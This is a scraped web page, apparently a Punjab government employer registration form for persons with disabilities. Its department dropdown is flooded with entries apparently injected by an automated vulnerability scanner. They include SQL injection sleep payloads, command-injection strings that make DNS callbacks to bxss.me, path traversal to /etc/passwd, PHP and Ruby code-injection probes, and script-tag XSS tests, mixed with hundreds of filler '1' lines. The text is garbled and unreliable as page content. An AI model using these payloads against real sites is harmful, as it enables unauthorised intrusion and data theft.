__Employer Sign Up
Login
Login
Register
SW&BM
For Already Registered PWD
Verification
Name of Focal Person (فوکل پرسن کا نام)
Focal Person Designation (فوکل پرسن کا عہدہ)
Email (اى میل)
CNIC (سی این آئی سی)
Phone no (فون نمبر)
Please Enter Your Active Phone No.
Select Your Department اپنا محکمہ منتخب کریں۔
Select Your Department
Agriculture
Colonies
Communication and Works
Cooperatives Department
Energy Department
Environment Protection Department
Excise and Taxation Department
Finance Department
Food Department
Forestry, Wildlife and Fisheries Department
Health
Specialized Healthcare & Medical Education Department
Higher Education Department
Home Department
Housing, Urban Development and Public Health Engineering Department
Human Rights and Minorities Affairs Department
Industries, Commerce and Investment
Irrigation Department
Information and Culture
Labour and Human Resource Department
Law and Parliamentary Affairs Department
Livestock & Dairy Development Department
Local Government and Community Development Department
Management and Professional Development Department
Mines and Minerals Department
Planning and Development
Population Welfare Department
Public Prosecution Department
Disaster Management Department (DMD)
Revenue
School Education
Services and General Administration Department
Social Welfare and Bait-ul-Maal Department
Special Education Department
Transport Department
Youth Affairs, Sports, Archeology and Tourism Department
Women Development Department
Zakat and Ushr Department
Provincial Transport Authority
Technical Education and Vocational Training Authority
Special Initiatives, Chief Minister's Sectt.
Literacy & Non-Formal Basic Education Department
Ombudsman
Auqaf & Religious Affairs Department
(I&C) Services & General Administration Department
(Archives) Services & General Administration Department
Local Government and Community Development
I&C Wing, S&GAD
I&C
Archives & Libraries Wing, S&GAD
Sahiwal Teaching Hospital Sahiwal
Khawaj Muhammad Safdar Medical College, Sialkot
Service Hospital Lahore
Other
NIL
POF Wah Cantt
Nadra
social welfare & bait ul maal
Labour
studio
1
1
1
1
1
1
1
1
1
1
1
1
DHQ kasur
Pakistan Aeronautical Complex
Police
No
NH&mp
NH&mp
pepsicola
Pakistan meteorological department
Other
arid agricultural university rawalpindi
Civil
pakistan post office
Hearting lmpaired ( Deaf & Dumb )
Private
punjab
1
1
1gaD7cY4O
1
1
1
1
Hhq6xSLy
1
response.write(9299446*9008861)
1
1
1
'+response.write(9299446*9008861)+'
1
1
echo kpovsa$()\ agirph\nz^xyu||a #' &echo kpovsa$()\ agirph\nz^xyu||a #|" &echo kpovsa$()\ agirph\nz^xyu||a #
"+response.write(9299446*9008861)+"
1
1
&echo twygpm$()\ qtxepf\nz^xyu||a #' &echo twygpm$()\ qtxepf\nz^xyu||a #|" &echo twygpm$()\ qtxepf\nz^xyu||a #
1
1
|echo pcsxta$()\ nkfdrw\nz^xyu||a #' |echo pcsxta$()\ nkfdrw\nz^xyu||a #|" |echo pcsxta$()\ nkfdrw\nz^xyu||a #
1
1
1
1
1
(nslookup hithughqrriwz01d4f.bxss.me||perl -e "gethostbyname('hithughqrriwz01d4f.bxss.me')")
1
1
1
1
1
1
$(nslookup hitlyayafnoqjda276.bxss.me||perl -e "gethostbyname('hitlyayafnoqjda276.bxss.me')")
1
&(nslookup hitmzrpsryyeobc6df.bxss.me||perl -e "gethostbyname('hitmzrpsryyeobc6df.bxss.me')")&'\"`0&(nslookup hitmzrpsryyeobc6df.bxss.me||perl -e "gethostbyname('hitmzrpsryyeobc6df.bxss.me')")&`'
1
9mwgh6g0
1
-1 OR 2+493-493-1=0+0+0+1 --
|(nslookup hitsaupxmlnni157d2.bxss.me||perl -e "gethostbyname('hitsaupxmlnni157d2.bxss.me')")
1
1
1
1
-1 OR 2+50-50-1=0+0+0+1
`(nslookup hitoxmvbeeltr755b6.bxss.me||perl -e "gethostbyname('hitoxmvbeeltr755b6.bxss.me')")`
1
1
-1' OR 2+740-740-1=0+0+0+1 --
;(nslookup hitzzvxccavvh6ce90.bxss.me||perl -e "gethostbyname('hitzzvxccavvh6ce90.bxss.me')")|(nslookup hitzzvxccavvh6ce90.bxss.me||perl -e "gethostbyname('hitzzvxccavvh6ce90.bxss.me')")&(nslookup hit
1
1
-1' OR 2+861-861-1=0+0+0+1 or 'YZs7EZIE'='
1
1
1
1
1
-1" OR 2+79-79-1=0+0+0+1 --
1
1
if(now()=sysdate(),sleep(15),0)
1
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
-1; waitfor delay '0:0:15' --
1
-1); waitfor delay '0:0:15' --
1
1
1
../../../../../../../../../../../../../../etc/passwd
1 waitfor delay '0:0:15' --
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
O86xq9wf'; waitfor delay '0:0:15' --
1
1
1
1
1
-5 OR 605=(SELECT 605 FROM PG_SLEEP(15))--
../1
-5) OR 35=(SELECT 35 FROM PG_SLEEP(15))--
1
1
1
1
-1)) OR 309=(SELECT 309 FROM PG_SLEEP(15))--
1
1
1
myLdOGcZ' OR 594=(SELECT 594 FROM PG_SLEEP(15))--
1
1
1
1
1
sDn5xr7b') OR 569=(SELECT 569 FROM PG_SLEEP(15))--
1
1
1
1
e5hjUc2Y')) OR 816=(SELECT 816 FROM PG_SLEEP(15))--
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
12345'"\'\");|]* { < >
1
1'"
1
1
1
1
1
1
1
1
1
1
@@fMeEL
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999906+10000374}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
1
1
1some_inexistent_file_with_long_name .jpg
1
1
1&n925847=v928474
Http://bxss.me/t/fit.txt
1
1
)
http://bxss.me/t/fit.txt?.jpg
1
1
1
!(()&&!|*|*|
1
bxss.me
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitgg'.'ouzznwxw408b7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(75).chr(121).chr(67).'
1
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitat"."vbzcijdx2abf0.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(82).chr(108).chr(83)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
HttP://bxss.me/t/xss.html?%00
1
1
1
${@print(md5(31337))}
bxss.me/t/xss.html?%00
1
${@print(md5(31337))}\
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(110).concat(68).concat(111).concat(78)+(require"socket" Socket.gethostbyname("hitre"+"dcwowdgg692ed.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(114).concat(72).concat(111).concat(87)+(require'socket' Socket.gethostbyname('hiths'+'tqbbfwem52bf2.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
create
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >B002(9845)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
'"()&%<acx><ScRiPt >B002(9277)</ScRiPt>
1
1
1
1
1
1
1
1
19173210
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9397506*9531386)
1
1
'+response.write(9397506*9531386)+'
1
"+response.write(9397506*9531386)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
s4SJyTTk
1
1
-1 OR 2+324-324-1=0+0+0+1 --
1
1
-1 OR 2+670-670-1=0+0+0+1
1
echo vadlbw$()\ gphgha\nz^xyu||a #' &echo vadlbw$()\ gphgha\nz^xyu||a #|" &echo vadlbw$()\ gphgha\nz^xyu||a #
-1' OR 2+69-69-1=0+0+0+1 --
1
1
1
&echo hsmwiq$()\ lpcxbi\nz^xyu||a #' &echo hsmwiq$()\ lpcxbi\nz^xyu||a #|" &echo hsmwiq$()\ lpcxbi\nz^xyu||a #
-1' OR 2+347-347-1=0+0+0+1 or 'Q14LaCjX'='
1
1
|echo euyakg$()\ fjsubb\nz^xyu||a #' |echo euyakg$()\ fjsubb\nz^xyu||a #|" |echo euyakg$()\ fjsubb\nz^xyu||a #
-1" OR 2+161-161-1=0+0+0+1 --
1
1
1
(nslookup hitfdcbgxdjmpff43c.bxss.me||perl -e "gethostbyname('hitfdcbgxdjmpff43c.bxss.me')")
1
$(nslookup hitbryxxizkfs6b55d.bxss.me||perl -e "gethostbyname('hitbryxxizkfs6b55d.bxss.me')")
if(now()=sysdate(),sleep(15),0)
1
&(nslookup hitkudmoxznxv8dd2b.bxss.me||perl -e "gethostbyname('hitkudmoxznxv8dd2b.bxss.me')")&'\"`0&(nslookup hitkudmoxznxv8dd2b.bxss.me||perl -e "gethostbyname('hitkudmoxznxv8dd2b.bxss.me')")&`'
1
1
1
|(nslookup hititmierdkhxcab66.bxss.me||perl -e "gethostbyname('hititmierdkhxcab66.bxss.me')")
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
`(nslookup hitqqpfktgetr1d54c.bxss.me||perl -e "gethostbyname('hitqqpfktgetr1d54c.bxss.me')")`
1
;(nslookup hityogjjguuee6c859.bxss.me||perl -e "gethostbyname('hityogjjguuee6c859.bxss.me')")|(nslookup hityogjjguuee6c859.bxss.me||perl -e "gethostbyname('hityogjjguuee6c859.bxss.me')")&(nslookup hit
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
1
1
1
1
1
1
ikMHhJ4E'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
-5 OR 288=(SELECT 288 FROM PG_SLEEP(15))--
1
1
1
1
1
1
-5) OR 576=(SELECT 576 FROM PG_SLEEP(15))--
1
1
1
1
1
-1)) OR 383=(SELECT 383 FROM PG_SLEEP(15))--
1
1
1
1
1
1
LhNoKHja' OR 175=(SELECT 175 FROM PG_SLEEP(15))--
1
1
1
1
1
1
WBJclAl2') OR 248=(SELECT 248 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
xR6zSEo0')) OR 965=(SELECT 965 FROM PG_SLEEP(15))--
1
1
1
1
1
0AAXNDcn
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
@@jXObZ
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999963+9999944}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
1
1some_inexistent_file_with_long_name .jpg
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n969947=v969240
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitcx'.'bdgstafyea676.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(72).chr(106).chr(87).'
1
1
".gethostbyname(lc("hitix"."qglgbzyed9506.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(80).chr(106).chr(66)."
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(107).concat(86).concat(111).concat(76)+(require"socket" Socket.gethostbyname("hitzz"+"mayjwfwd043c6.bxss.me.")[3].to_s)+"
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(108).concat(87).concat(111).concat(82)+(require'socket' Socket.gethostbyname('hitrc'+'xgylncjjda851.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
create
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >KVrT(9164)</ScRiPt>
1
1
1
1
1
1
1
1
1
'"()&%<acx><ScRiPt >KVrT(9019)</ScRiPt>
1
1
1
1
1
1
1
19006487
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9044001*9964321)
'+response.write(9044001*9964321)+'
"+response.write(9044001*9964321)+"
1
1
echo ltcgha$()\ lormsc\nz^xyu||a #' &echo ltcgha$()\ lormsc\nz^xyu||a #|" &echo ltcgha$()\ lormsc\nz^xyu||a #
1
&echo xdaftd$()\ ddqvwy\nz^xyu||a #' &echo xdaftd$()\ ddqvwy\nz^xyu||a #|" &echo xdaftd$()\ ddqvwy\nz^xyu||a #
1
1
|echo hnvgrg$()\ vqeept\nz^xyu||a #' |echo hnvgrg$()\ vqeept\nz^xyu||a #|" |echo hnvgrg$()\ vqeept\nz^xyu||a #
1
1
(nslookup hitmpmpmfeyaif9096.bxss.me||perl -e "gethostbyname('hitmpmpmfeyaif9096.bxss.me')")
yw4vnZ2C
1
1
-1 OR 2+780-780-1=0+0+0+1 --
$(nslookup hituqmubeubes8eb9b.bxss.me||perl -e "gethostbyname('hituqmubeubes8eb9b.bxss.me')")
-1 OR 2+707-707-1=0+0+0+1
-1' OR 2+333-333-1=0+0+0+1 --
1
&(nslookup hitquoovostbj060e8.bxss.me||perl -e "gethostbyname('hitquoovostbj060e8.bxss.me')")&'\"`0&(nslookup hitquoovostbj060e8.bxss.me||perl -e "gethostbyname('hitquoovostbj060e8.bxss.me')")&`'
|(nslookup hitnpuhntltnkb619d.bxss.me||perl -e "gethostbyname('hitnpuhntltnkb619d.bxss.me')")
1
-1' OR 2+113-113-1=0+0+0+1 or 'bDUgIENz'='
1
`(nslookup hitwexnwyqomj38fab.bxss.me||perl -e "gethostbyname('hitwexnwyqomj38fab.bxss.me')")`
;(nslookup hitmmvhxmzpyl99a8b.bxss.me||perl -e "gethostbyname('hitmmvhxmzpyl99a8b.bxss.me')")|(nslookup hitmmvhxmzpyl99a8b.bxss.me||perl -e "gethostbyname('hitmmvhxmzpyl99a8b.bxss.me')")&(nslookup hit
-1" OR 2+907-907-1=0+0+0+1 --
1
1
if(now()=sysdate(),sleep(15),0)
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
-1; waitfor delay '0:0:15' --
1
1
1
-1); waitfor delay '0:0:15' --
1
1 waitfor delay '0:0:15' --
1
1
fZTEpN9f'; waitfor delay '0:0:15' --
1
1
1
1
-5 OR 933=(SELECT 933 FROM PG_SLEEP(15))--
1
1
-5) OR 625=(SELECT 625 FROM PG_SLEEP(15))--
1
1
1
1
1
-1)) OR 992=(SELECT 992 FROM PG_SLEEP(15))--
1
1
wZwZxI3v' OR 131=(SELECT 131 FROM PG_SLEEP(15))--
Wcq2nuyX') OR 796=(SELECT 796 FROM PG_SLEEP(15))--
1
1
8lXHNkwX')) OR 314=(SELECT 314 FROM PG_SLEEP(15))--
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
1
1
1
1
1
1
@@aTeQy
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
f5nASXcY
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
../1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999406+10000422}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
1
1some_inexistent_file_with_long_name .jpg
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n944601=v926751
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
'.gethostbyname(lc('hitru'.'xmaumlnm6fa50.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(83).chr(110).chr(76).'
1
1
1
1
".gethostbyname(lc("hitth"."eyvnkdwxd42e5.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(73).chr(118).chr(75)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
${@print(md5(31337))}\
1
"+"A".concat(70-3).concat(22*4).concat(115).concat(66).concat(112).concat(83)+(require"socket" Socket.gethostbyname("hitkx"+"cqbpsrufdbe1d.bxss.me.")[3].to_s)+"
HttP://bxss.me/t/xss.html?%00
'.print(md5(31337)).'
1
'+'A'.concat(70-3).concat(22*4).concat(109).concat(83).concat(114).concat(74)+(require'socket' Socket.gethostbyname('hitjy'+'qncqcisr82ad1.bxss.me.')[3].to_s)+'
bxss.me/t/xss.html?%00
create
1
1
1
1
create
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1'"()&%<acx><ScRiPt >omVg(9626)</ScRiPt>
1
1
1
1
1
1
1
1
1
'"()&%<acx><ScRiPt >omVg(9445)</ScRiPt>
1
1
1
1
1
1
19255654
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
